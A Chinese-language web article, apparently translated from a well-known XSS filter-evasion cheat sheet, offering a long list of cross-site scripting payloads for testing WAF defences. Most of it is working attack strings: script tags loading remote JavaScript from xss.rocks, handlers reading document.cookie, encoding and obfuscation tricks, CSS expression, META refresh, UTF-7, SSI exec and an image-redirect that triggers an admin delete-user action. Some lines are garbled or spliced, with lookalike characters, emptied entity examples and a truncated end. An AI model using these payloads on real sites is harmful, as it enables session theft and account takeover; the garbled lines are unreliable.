您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何繞過XSS的防護,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
下面列出了一系列XSS攻擊,可用于繞過某些XSS防御filter。針對輸入進行過濾是不完全是XSS的防御方法,可以使用這些payload來測試網站在防護XSS攻擊方面的能力,希望你的WAF產品能攔截下面所有的payload。
XSS攻擊原理:
攻擊者向有XSS漏洞的網站中置入精心構造惡意的HTML代碼,當用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。
XSS攻擊可以分成兩種類型:一種是非持久型XSS攻擊 一種是持久型XSS攻擊。
反射型:請求地址上加入惡心的HTML代碼。
dom型:api向網站注入一些惡意的HTML代碼
持久性:攻擊者把惡意代碼提交到后臺數據庫中,當用戶下次打開的時候就會從后臺接收這些惡意的代碼。
防范:
前端通過轉義來進行防范和過濾
后端主要是通過WAF正則+OWASP規則+XSS語義分析+機器學習payload特征進行防衛。
普通的XSS JavaScript注入:
很可能會被過濾,建議先嘗試一下(現代瀏覽器中都不需要引號,因此此處將其省略)
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
XSS有效負載,該測試將在多個上下文中執行,包括html,腳本字符串,js和url:
javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>
使用JavaScript指令的IMG SRC XSS,注: IE7.0在圖像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:
<IMG SRC="javascript:alert('XSS');">
沒有引號也沒分號情況:
<IMG SRC=javascript:alert('XSS')>
大小寫混淆的 XSS攻擊payload:
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML實體,必須使用分號:
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
同時使用雙引號和單引號,則可以使用重音符來封裝JavaScript字符串,因為許多跨站點腳本過濾器都不知道重音符:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
畸形的a標簽,跳過HREF屬性:
<a οnmοuseοver="alert(document.cookie)">xxs link</a>
Chrome瀏覽器喜歡為替換丟失的引號,Chrome會將其放在正確的位置,并在URL或腳本上修復丟失的引號。
<a οnmοuseοver=alert(document.cookie)>xxs link</a>
格式錯誤的IMG標簽,封裝在引號中的IMG標簽內創建我們的XSS矢量,為了糾正草率的編碼。這將使正確解析HTML標記變得更加困難:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fromCharCode源字符碼,不允許任何類型的引號,可以在JavaScript中eval()a fromCharCode來創建所需的XSS向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
默認SRC標記可獲取過去檢查SRC域名的filter,這將繞過大多數SRC域過濾器。在事件方法中插入javascript還將適用于任何使用Form,Iframe,Input,Embed等元素的HTML標記類型注入。這還將允許您將標記類型的任何相關事件替換為onblur
,onclick
從而為您提供大量的這里列出的許多注射的變化:
<IMG SRC=# οnmοuseοver="alert('xxs')">
保留默認的SRC標簽為空:
<IMG SRC= οnmοuseοver="alert('xxs')">
Default SRC tag by leaving it out entirely,完全忽略src:
<IMG οnmοuseοver="alert('xxs')">
錯誤提示 onerror alert:
<IMG SRC=/ οnerrοr="alert(String.fromCharCode(88,83,83))"></img>
IMG onerror and javascript alert 編碼:
<img src=x οnerrοr="javascript:alert('XSS')">
Decimal HTML character references,十進制字符引用,在<IMG
標記內使用javascript:指令的所有XSS示例都無法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中運行):
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
十進制html字符引用,without trailing semicolons,同上+沒有尾隨分號,這在嘗試查找“&#XX;”的XSS中通常很有效,因為大多數人都不了解填充-總共最多7個數字字符。這對于使用$ tmp_string =?s /.*\&#(\ d +);。* / $ 1 /;等字符串進行解碼的人也很有用。這錯誤地假設需要使用分號來終止html編碼的字符串:
<IMG SRC=javascript:alert('XSS')>
十六進制html字符引用,without trailing semicolons,不帶尾部分號:
<IMG SRC=javascript:alert('XSS')>
嵌入標簽,用于破壞跨站點腳本攻擊:
<IMG SRC="jav ascript:alert('XSS');">
嵌入編碼標簽,用于分解XSS:
<IMG SRC="jav&#x09;ascript:alert('XSS');">
嵌入換行分解XSS:
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details
嵌入carriage返回分解 XSS:
\x0D是十六進制,也就是13所對就在的ASCII碼字符,也就是回車符
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
null分解js指令,但是空字符%00更有用,它幫助我繞過了某些現實世界的過濾器:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
XSS圖像中JavaScript之前的空格和元字符:
錯誤地假設引號和“javascript:”關鍵字之間不能有空格,則這非常有用。實際情況是,您可以使用小數點后1-32之間的任何字符
<IMG SRC=" &#14; javascript:alert('XSS');">
非字母非數字XSS:
Firefox HTML解析器假設非alpha非數字在HTML關鍵字后無效,認為它是HTML標記后的空白或無效標記。
一些XSS過濾器假定它們要查找的標記被空白分隔開。例如“<SCRIPT\s”!=“<SCRIPT/XSS\s”。
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
Gecko呈現引擎允許在事件處理程序和等號之間使用除字母、數字或封裝字符(如引號、尖括號等)以外的任何字符,從而更容易繞過跨站點腳本塊。
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
多余的開放括號:
某些檢測引擎使用成對的開閉尖括號,然后對標簽進行比較,
雙斜線注釋了結束的無關括號,以抑制JavaScript錯誤。
<<SCRIPT>alert("XSS");//<</SCRIPT>
沒有結束腳本tag:
在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您實際上不需要這個跨站點腳本向量的“></SCRIPT>”部分。
Firefox assumes it's safe to close the HTML tag and add closing tags for you。
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
js tag中的協議解析:
如果在末尾添加</SCRIPT>標記,Opera中工作,Netscape在IE呈現模式下工作,,
<SCRIPT SRC=//xss.rocks/.j>
半開HTML/JavaScript xss:
與Firefox不同,IE渲染引擎不向頁面添加額外數據,但它允許在圖像中使用javascript:指令。
它不需要閉合尖括號,假設下面有任何HTML標記,您將在其中注入此跨站點腳本向量。即使沒有關閉“>”標簽,下面的標簽也會關閉它。
<IMG SRC="javascript:alert('XSS')"
Double open angle brackets雙開角括號:
在矢末尾使用開放尖括號。
如果沒有它,Firefox將工作,但Netscape不會。
<iframe src=http://xss.rocks/scriptlet.html <
轉義JavaScript轉義:
在JavaScript中輸出一些用戶信息,如:<SCRIPT>var a=“$ENV{QUERY_STRING}”;</SCRIPT>
將自己的JavaScript注入其中,但是服務器端應用程序會轉義某些引號,您可以通過轉義它們的轉義字符來繞過這些引號。
當它被注入時,它將讀取<SCRIPT>var a=“\\”;alert('XSS');//“;</SCRIPT>,最后將取消對雙引號的轉義,并導致跨站點腳本向量觸發。
\";alert('XSS');//
如果對嵌入的數據應用了正確的JSON或Javascript轉義,而不是HTML編碼,則完成腳本塊并啟動。
</script><script>alert('XSS');</script>
結束標簽tag:
關閉<TITLE>標記的簡單XSS向量,可以封裝惡意跨站點腳本攻擊。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT image:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
BODY image:
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc:
<IMG DYNSRC="javascript:alert('XSS')">
IMG lowsrc:
<IMG LOWSRC="javascript:alert('XSS')">
List-style-image:
處理為項目符號列表嵌入圖像的相當深奧的問題,這只適用于IE呈現引擎。不是一個特別有用的跨站點腳本。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
VBscript in an image:
<IMG SRC='vbscript:msgbox("XSS")'>
Livescript(僅限舊版本的Netscape):
<IMG SRC="livescript:[code]">
SVG對象標記:
<svg/οnlοad=alert('XSS')>
SVG object tag:
<svg/οnlοad=alert('XSS')>
ECMAScript 6:
Set.constructor`alert\x28document.domain\x29```
BODY tag:
不需要使用“javascript:”或“<SCRIPT…”的任何變體來完成XSS攻擊,
可以在等號前加一個空格(“οnlοad=”!=“οnlοad=”)。
<BODY ONLOAD=alert('XSS')>
事件句柄:
FSCommand() (攻擊者可以在嵌入式Flash對象中執行此操作)
onAbort() (當用戶中止加載圖像時)
onActivate() (當對象設置為活動元素時)
onAfterPrint() (在用戶打印或預覽打印作業后激活)
onAfterUpdate() (更新源對象中的數據后在數據對象上激活)
onBeforeActivate() (在對象設置為活動元素之前激發)
onBeforeCopy() (攻擊者在將選定內容復制到剪貼板之前執行攻擊字符串-攻擊者可以使用execCommand(“Copy”)函數執行此操作)
onBeforeCut() (攻擊者在剪切選定內容之前執行攻擊字符串)
onBeforeDeactivate() (從當前對象更改activeElement后立即激發)
onBeforeEditFocus() (在可編輯元素中包含的對象進入UI激活狀態之前,或在選中可編輯容器對象時激發)
onBeforePaste() (需要誘使用戶粘貼或使用execCommand(“粘貼”)函數強制用戶粘貼)
onBeforePrint() (需要誘使用戶進行打印,否則攻擊者可以使用print()或execCommand(“print”)函數).
onBeforeUnload() (需要誘使用戶關閉瀏覽器-攻擊者無法卸載windows,除非它是從父級派生的)
onBeforeUpdate() (在更新源對象中的數據之前在數據對象上激活)
onBegin() (onbegin事件在元素的時間線開始時立即激發)
onBlur() (如果加載了另一個彈出窗口and window looses focus)
onBounce() (當選取框對象的behavior屬性設置為“alternate”并且選取框的內容到達窗口的一側時激發)
onCellChange() (當數據提供程序中的數據更改時觸發)
onChange() (“選擇”、“文本”或“文本區域”字段失去focus,其值已被修改)
onClick() (有人點擊表單)
onContextMenu() (用戶需要鼠標右擊攻擊區域)
onControlSelect() (當用戶要對對象進行控件選擇時觸發)
onCopy() (用戶需要復制某些內容,或者可以使用execCommand(“copy”)命令利用它)
onCut() (用戶需要復制某些內容,或者可以使用execCommand(“Cut”)命令利用它)
onDataAvailable() (用戶需要更改元素中的數據,否則攻擊者可以執行相同的功能)
onDataSetChanged() (當數據源對象公開的數據集更改時觸發)
onDataSetComplete() (觸發以指示數據源對象中的所有數據都可用)
onDblClick() (用戶雙擊表單元素或鏈接)
onDeactivate() (當activeElement從當前對象更改為父文檔中的另一個對象時激發)
onDrag() (要求用戶拖動對象)
onDragEnd() (要求用戶拖動對象)
onDragLeave() (要求用戶將對象拖離有效位置)
onDragEnter() (要求用戶將對象拖到有效位置)
onDragOver() (要求用戶將對象拖到有效位置)
onDragDrop() (用戶將對象(如文件)放到瀏覽器窗口中)
onDragStart() (在用戶啟動拖動操作時發生)
onDrop() (用戶將對象(如文件)放到瀏覽器窗口中)
onEnd() (當時間線結束時,onEnd事件將觸發)
onError() (加載文檔或圖像會導致錯誤)
onErrorUpdate() (當更新數據源對象中的關聯數據時出錯時,對數據綁定對象觸發)
onFilterChange() (在視覺篩選器完成狀態更改時觸發)
onFinish() (當選取框完成循環時,攻擊者可以創建攻擊)
onFocus() (當窗口獲得焦點時,攻擊者執行攻擊字符串)
onFocusIn() (當窗口獲得焦點時,攻擊者執行攻擊字符串)
onFocusOut() (當窗口失去焦點時,攻擊者執行攻擊字符串)
onHashChange() (當文檔當前地址的片段標識符部分更改時觸發)
onHelp() (當用戶在窗口處于焦點時點擊F1時,攻擊者執行攻擊字符串)
onInput() (元素的文本內容通過用戶界面更改)
onKeyDown() (用戶按下鍵觸發)
onKeyPress() (用戶按下或按住鍵)
onKeyUp() (用戶松開按鍵)
onLayoutComplete() (用戶必須打印或打印預覽)
onLoad() (攻擊者在窗口加載后執行攻擊字符串)
onLoseCapture() (可被releaseCapture()方法利用)
onMediaComplete() (當使用流媒體文件時,此事件可能在文件開始播放之前觸發)
onMediaError() (用戶在瀏覽器中打開包含媒體文件的頁面,當出現問題時觸發事件)
onMessage() (當文檔收到消息時觸發)
onMouseDown() (攻擊者需要讓用戶單擊圖像)
onMouseEnter() (光標在對象或區域上移動)
onMouseLeave() (攻擊者需要讓用戶將鼠標移到圖像或表上,然后再次關閉)
onMouseMove() (攻擊者需要讓用戶將鼠標移到圖像或表上)
onMouseOut() (攻擊者需要讓用戶將鼠標移到圖像或表上,然后再次關閉)
onMouseOver() (光標在對象或區域上移動)
onMouseUp() (攻擊者需要讓用戶單擊圖像)
onMouseWheel() (攻擊者需要讓用戶使用鼠標滾輪)
onMove() (用戶或攻擊者會移動頁面)
onMoveEnd() (用戶或攻擊者會移動頁面)
onMoveStart() (用戶或攻擊者會移動頁面)
onOffline() (如果瀏覽器在聯機模式下工作并且開始脫機工作,則發生)
onOnline() (如果瀏覽器在脫機模式下工作并且開始聯機工作,則發生)
onOutOfSync() (中斷元素播放時間線定義的媒體的能力)
onPaste() (用戶需要粘貼或攻擊者可以使用execCommand(“粘貼”)函數)
onPause() (當時間線暫停時,onpause事件將對每個活動的元素(包括body元素)觸發)
onPopState() (當用戶導航會話歷史記錄時激發)
onProgress() (攻擊者會將此用作正在加載的flash電影)
onPropertyChange() (用戶或攻擊者需要更改元素屬性)
onReadyStateChange() (用戶或攻擊者需要更改元素屬性)
onRedo() (用戶在撤消事務歷史記錄中前進)
onRepeat() (事件在時間線的每次重復中觸發一次,第一個完整周期除外)
onReset() (用戶或攻擊者重置窗體)
onResize() (用戶將調整窗口大小;攻擊者可以使用以下命令自動初始化:<SCRIPT>self.resizeTo(500400);</SCRIPT>)
onResizeEnd() (用戶將調整窗口大小;攻擊者可以使用以下內容自動初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeStart() (用戶將調整窗口大小;攻擊者可以使用以下命令自動初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResume() (onresume事件對時間線恢復時變為活動的每個元素(包括body元素)觸發)
onReverse() (如果元素的repeatCount大于1,則每次時間線開始向后播放時都會觸發此事件)
onRowsEnter() (用戶或攻擊者需要更改數據源中的行)
onRowExit() (用戶或攻擊者需要更改數據源中的行)
onRowDelete() (用戶或攻擊者需要刪除數據源中的行)
onRowInserted() (用戶或攻擊者需要在數據源中插入一行)
onScroll() (用戶需要滾動,否則攻擊者可以使用scrollBy()函數)
onSeek() (onreverse事件在時間線設置為沿除forward以外的任何方向播放時觸發)
onSelect() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動初始化: window.document.execCommand("SelectAll");)
onSelectionChange() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動初始化: window.document.execCommand("SelectAll");)
onSelectStart() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動初始化: window.document.execCommand("SelectAll");)
onStart() (在每個選框循環的開始處激發)
onStop() (用戶需要按下停止按鈕或離開網頁)
onStorage() (存儲區域已更改)
onSyncRestored() (用戶中斷元素的播放時間線定義的媒體的能力)
onSubmit() (需要攻擊者或用戶提交表單)
onTimeError() (用戶或攻擊者將時間屬性(如dur)設置為無效值)
onTrackChange() (用戶或攻擊者更改播放列表中的playlist)
onUndo() (用戶在撤消事務歷史記錄中返回)
onUnload() (當用戶單擊任何鏈接或按下后退按鈕時,攻擊者會強制單擊)
onURLFlip() (當由HTML+TIME(定時交互式多媒體擴展)媒體標記播放的高級流式格式(ASF)文件處理嵌入在ASF文件中的腳本命令時,會觸發此事件)
seekSegmentTime() (這是一個在元素的段時間線上定位指定點并從該點開始播放的方法。該段由一個重復的時間線組成,包括使用AUTOREVERSE屬性的反向播放。)
BGSOUND:
<BGSOUND SRC="javascript:alert('XSS');">
& JavaScript includes:
<BR SIZE="&{alert('XSS')}">
STYLE sheet:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
遠程樣式表Remote style sheet:
使用像遠程樣式表這樣簡單的東西,您可以包括XSS,因為可以使用嵌入式表達式重新定義樣式參數。)
這僅在IE和Netscape 8.1+的IE渲染引擎模式下有效。
注意:對于所有這些遠程樣式表示例,它們都使用body標記,因此除非頁面上有向量本身以外的其他內容,否則無法工作。
因此,如果頁面是空白頁面,則需要向該頁面添加一個字母使其工作
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
遠程樣式表Remote style sheet2:
工作原理與上述相同,但使用<STYLE>標記而不是<LINK>標記)。
這個向量的一個微小變化被用來攻擊谷歌桌面。另外,如果在向量之后立即有HTML來關閉end</STYLE>標記,則可以將其刪除。
如果在跨站點腳本攻擊中不能有等號或斜線(在現實世界中至少出現過一次),則這非常有用.
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
遠程樣式表Remote style sheet3:
這只適用于Opera8.0(不再適用于9.x),但相當棘手。根據RFC2616設置,鏈接頭不是HTTP1.1規范的一部分,但是一些瀏覽器仍然允許它(比如Firefox和Opera)。
這里的訣竅是,我設置了一個頭(基本上與HTTP頭中的Link:<HTTP://xss.rocks/xss.css>;REL=style sheet沒什么不同),
而帶有跨站點腳本向量的遠程樣式表正在運行JavaScript,這在FireFox中是不受支持的。
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
遠程樣式表Remote style sheet4:
這只適用于Gecko渲染引擎,并通過將XUL文件綁定到父頁面來工作。我認為諷刺的是,Netscape認為Gecko更安全,因此對絕大多數網站來說都很脆弱。
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
帶有用于XSS的分解JavaScript的STYLE標記STYLE tags with broken up JavaScript for XSS:
此XSS有時會將IE發送到無限循環的警報中。
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
STYLE attribute using a comment to break up expression使用注釋拆分表達式的STYLE屬性:
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
帶表達式的IMG樣式:
這實際上是上述XSS向量的混合,但它確實顯示了分離樣式標記的難度,就像上面所說的,這可以將IE發送到循環中。
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
STYLE tag (Older versions of Netscape only):
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
STYLE tag using background-image:
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
STYLE tag using background:
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
具有STYLE屬性的匿名HTMLAnonymous HTML with STYLE attribute:
IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正關心你構建的HTML標簽是否存在,只要它從一個打開的角度括號和一個字母開始.
<XSS STYLE="xss:expression(alert('XSS'))">
Local htc file本地htc文件:
這與上面兩個跨站點腳本向量略有不同,因為它使用的.htc文件必須與XSS向量位于同一服務器上。
示例文件的工作方式是:拉入JavaScript并將其作為style屬性的一部分運行.
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII encoding:
它使用格式錯誤的ASCII編碼,使用7位而不是8位。此XSS可以繞過許多內容過濾器,
但僅在主機使用US-ASCII編碼傳輸或您自己設置編碼時才起作用。
這對于web應用程序防火墻跨站點腳本規避比服務器端篩選器規避更有用。
Apache Tomcat是唯一已知的以US-ASCII編碼傳輸的服務器。
?script?alert(¢XSS¢)?/script?
META:
meta-refresh的奇怪之處在于它沒有在頭中發送referer,因此它可以用于某些類型的攻擊,在這些攻擊中,您需要刪除引用的url。
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
META using data:
指令URL方案。這很好,因為它也沒有任何明顯包含腳本或JavaScript指令的東西,因為它使用base64編碼。
請參閱RFC2397了解更多詳細信息,或在這里或這里編碼您自己的。如果您只想對原始HTML或JavaScript進行編碼,
也可以使用下面的XSS計算器,因為它具有Base64編碼方法。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
META with additional URL parameter:
如果目標網站試圖查看URL開頭是否包含“http://”。
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
IFRAME:
If iframes are allowed there are a lot of other XSS problems as well。
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFRAME Event based:
IFrames和大多數其他元素可以使用基于事件的mayhem,如下所示。。。
<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>
FRAME:
Frames have the same sorts of XSS problems as iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE:
<TABLE BACKGROUND="javascript:alert('XSS')">
TD:
正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻擊。
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV:
DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV background-image with unicoded XSS exploit:
這已經被稍微修改,以混淆url參數。
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
DIV background-image plus extra characters額外字符:
在IE和Netscape 8.1中的安全站點模式下,在開括號之后、JavaScript指令之前允許的任何錯誤字符。這些是十進制的,但是當然可以包括十六進制和添加填充。
可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
DIV expression:
這種方法的一個變體對現實世界中使用冒號和“表達式”之間的換行符的跨站點腳本過濾器是有效的.
<DIV STYLE="width: expression(alert('XSS'));">
Downlevel-Hidden block:
僅適用于IE5.0及更高版本,Netscape 8.1適用于IE渲染引擎模式)。有些網站認為評論塊中的任何內容都是安全的,因此不需要刪除,這就允許我們使用跨站點腳本。
或者系統可以在某些東西周圍添加注釋標記,試圖使其無害化。如我們所見,這可能不起作用.
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
BASE tag:
在IE和Netscape 8.1中以安全模式工作。您需要//來注釋掉下一個字符,這樣就不會出現JavaScript錯誤,XSS標記將呈現。
此外,這依賴于網站使用動態放置的圖像,如“images/image.jpg”,而不是完整路徑。
如果路徑包含一個前導正斜杠,如“/images/image.jpg”,則可以從該向量中刪除一個斜杠(只要有兩個斜杠開始注釋,則此操作有效)
<BASE HREF="javascript:alert('XSS');//">
OBJECT tag:
如果它們允許對象,您還可以注入病毒有效負載以感染用戶等,與APPLET標記相同)。鏈接文件實際上是一個HTML文件,可以包含您的XSS.
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
使用嵌入標記可以嵌入包含xss的Flash電影:
單擊此處進行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”屬性,則可以降低此風險.
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>
You can EMBED SVG which can contain your XSS vector:
這個例子只適用于Firefox,但它比Firefox中的上述向量要好,因為它不需要用戶打開或安裝Flash。
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm0yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
在flash中使用ActionScript會混淆XSS向量:
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
帶有CDATA混淆的XML數據:
此XSS攻擊僅在IE渲染引擎模式下的IE和Netscape 8.1中有效.
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
使用XML數據島生成的嵌入JavaScript的本地托管XML:
這與上面的相同,但引用的是包含跨站點腳本向量的本地托管(必須位于同一服務器上)XML文件。
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
HTML+TIME in XML:
這只適用于IE呈現引擎模式下的Internet Explorer和Netscape 8.1,請記住,您需要介于HTML和正文標記之間才能工作.
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
假設您只能容納幾個字符,并且它會過濾“.js”:
您可以將JavaScript文件重命名為圖像作為XSS向量.
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
SSI (Server Side Includes):
這需要在服務器上安裝SSI才能使用此XSS向量。我可能不需要提及這一點,但如果您可以在服務器上運行命令,無疑會出現更嚴重的問題.
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
PHP:
需要在服務器上安裝PHP才能使用此XSS向量。同樣,如果你能像這樣遠程運行任何腳本,可能會有更可怕的問題.
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG Embedded commands:
當插入此內容的網頁(如網頁板)位于密碼保護之后,并且密碼保護與同一域上的其他命令一起工作時,此操作有效。
這可用于刪除用戶、添加用戶(如果訪問該頁的用戶是管理員)、將憑據發送到其他位置等。。。。這是使用較少但更有用的XSS向量之一.
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
IMG Embedded commands part II:
這更可怕,因為除了它不在您自己的域中之外,沒有任何標識使它看起來可疑。
向量使用302或304(其他也可以)將圖像重定向回命令。
因此,一個普通的<IMG SRC=“httx://badguy.com/a.jpg”>實際上可能是一個攻擊向量,作為查看圖像鏈接的用戶運行命令。
下面是.htaccess(在Apache下)行來完成向量.
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Cookie 篡改:
不可否認,這是相當模糊的,但我看到了幾個例子,其中<META是允許的,您可以使用它覆蓋cookies。
還有其他一些站點的例子,其中存儲在cookie中的用戶名不是從數據庫中獲取的,而是只顯示給訪問頁面的用戶。
結合這兩個場景,您可以修改受害者的cookie,該cookie將以JavaScript的形式顯示給他們
(您還可以使用它來注銷或更改他們的用戶狀態,讓他們以您的身份登錄,等等)。
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
UTF-7 encoding:
如果XSS所在的頁面沒有提供頁面字符集頭,或者任何設置為UTF-7編碼的瀏覽器都可以使用以下內容。
單擊此處獲取示例(如果用戶的瀏覽器設置為“自動檢測”,并且在Internet Explorer和IE呈現引擎模式下的Netscape 8.1中沒有覆蓋頁面上的內容類型,則不需要charset語句)。
這在任何現代瀏覽器中都無法工作,除非更改編碼類型,這就是為什么將其標記為完全不受支持的原因。Watchfire在Google的自定義404腳本中發現了這個漏洞
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
使用HTML引號封裝的XSS:
這是IE測試的,你的里程數可能會有所不同。對于允許“<SCRIPT>”但不允許“<SCRIPT SRC…”通過regex過濾器“/<SCRIPT[^>]+SRC/i”的站點執行XSS。
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
用于在允許“<SCRIPT>”但不允許“<SCRIPT src…”的站點上
通過regex過濾器“/<SCRIPT”((\s+\w+(\s*=\s*)(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
還有另一個xs要避開同一個過濾器,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“。
我知道我說過我不打算討論緩解技術,但是如果您仍然希望允許<SCRIPT>標記,而不是遠程腳本,
那么對于這個XSS示例,我看到的唯一有用的東西是一個狀態機(當然,如果允許<SCRIPT>標記,還有其他方法可以繞過這個問題).
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
最后一次XSS攻擊是為了躲避,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“使用重音符(同樣,在Firefox中不起作用).
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
下面是一個XSS示例,它打賭regex不會捕獲匹配的一對引號,而是會找到任何引號來不正確地終止參數字符串.
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
這個XSS仍然讓我擔心,因為如果不阻止所有活動內容,幾乎不可能停止它.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
URL字符串規避類:
假設“http://www.google.com/”在語法上是不允許的.
IP versus hostname:
<A HREF="http://66.102.7.147/">XSS</A>
URL encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Dword encoding:
注意:還有其他的Dword編碼變體-請參閱下面的IP混淆計算器以了解更多詳細信息.
<A HREF="http://1113982867/">XSS</A>
Hex encoding十六進制:
